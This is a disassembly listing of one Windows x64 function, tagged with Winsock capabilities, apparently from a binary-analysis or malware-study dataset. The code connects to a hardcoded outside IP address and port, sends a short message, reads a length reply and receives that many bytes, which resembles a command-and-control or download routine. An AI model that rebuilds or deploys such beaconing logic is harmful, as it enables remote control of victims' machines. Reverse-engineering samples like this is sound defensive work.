Function at 0x14003ff90
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x240]
sub rsp, 0x340
mov rax, qword [0x1401560e8]
xor rax, rsp
mov qword [rbp + 0x230], rax
mov rsi, rdx
mov rdi, rcx
mov qword [rsp + 0x48], rcx
xor r12d, r12d
mov ecx, 0x102
lea rdx, [rbp + 0x80]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140040010
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], r12
xor r8d, r8d
lea rdx, [0x14012b0e3]
mov rcx, rdi
call fcn.1400288f0
mov rax, rdi
jmp 0x14004025a
lea rcx, str.45.83.104.64
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x74], eax
mov ecx, 0xa452
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x72], ax
mov ecx, 2
mov word [rsp + 0x70], cx
xor r8d, r8d
lea edx, [rcx - 1]
call qword [sym.imp.WS2_32.dll_socket]
mov r15, rax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x70]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x14004009e
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], r12
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [r12 + rbx], r12b
jne 0x140040080
mov r8, rbx
xor edx, edx
mov rcx, rdi
call fcn.1400288f0
mov rax, rdi
jmp 0x14004025a
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp - 0x80]
call fcn.1400c0f70
lea rcx, [rbp - 0x80]
call fcn.140040fd0
nop
mov rbx, 0xffffffffffffffff
mov rdx, rbx
inc rdx
cmp byte [rsi + rdx], 0
jne 0x1400400c3
lea rcx, [rbp - 0x70]
call fcn.140039fe0
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x68]
call fcn.1400414e0
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rdx, qword [rsp + 0x50]
xor r9d, r9d
lea r8d, [r9 + 0xa]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [rsp + 0x50]
call fcn.1400274a0
mov r8, rbx
inc r8
cmp byte [rsi + r8], 0
jne 0x140040111
xor r9d, r9d
mov rdx, rsi
mov rcx, r15
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea r8d, [r9 + 0xa]
lea rdx, [rbp + 0x220]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x140040251
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x28], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x38], xmm1
lea rax, [rbp + 0x220]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140040164
mov r8, rbx
lea rdx, [rbp + 0x220]
lea rcx, [rsp + 0x28]
call fcn.1400288f0
nop
call fcn.1400d1470
mov r14, rax
lea rbx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rbx, qword [rsp + 0x28]
mov dword [rax], r12d
mov r8d, 0xa
lea rdx, [rsp + 0x48]
mov rcx, rbx
call fcn.1400d1098
movsxd rsi, eax
cmp rbx, qword [rsp + 0x48]
je 0x140040292
cmp dword [r14], 0x22
je 0x140040285
lea rcx, [rsp + 0x28]
call fcn.1400274a0
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], recv
mov byte [rsp + 0x50], 0
mov rdx, rsi
cmp rsi, 0xf
jbe 0x140040208
lea rcx, [rsp + 0x50]
call fcn.1400287a0
mov qword [rsp + 0x60], r12
mov r8d, esi
lea rdx, [rsp + 0x50]
mov rcx, r15
call fcn.14003feb0
vmovups ymm0, ymmword [rsp + 0x50]
vmovups ymmword [rdi], ymm0
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], recv
mov byte [rsp + 0x50], 0
lea rcx, [rsp + 0x50]
vzeroupper
call fcn.1400274a0
nop
lea rcx, [rbp - 0x80]
call fcn.1400402a0
mov rax, rdi
jmp 0x14004025a
lea rcx, [rbp - 0x80]
call fcn.1400402a0
mov rcx, qword [rbp + 0x230]
xor rcx, rsp
call fcn.1400bdcf0
lea r11, [rsp + 0x340]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
lea rcx, str.stoi_argument_out_of_range
call fcn.1400bbb04
int3
lea rcx, str.invalid_stoi_argument
call fcn.1400bbabc
int3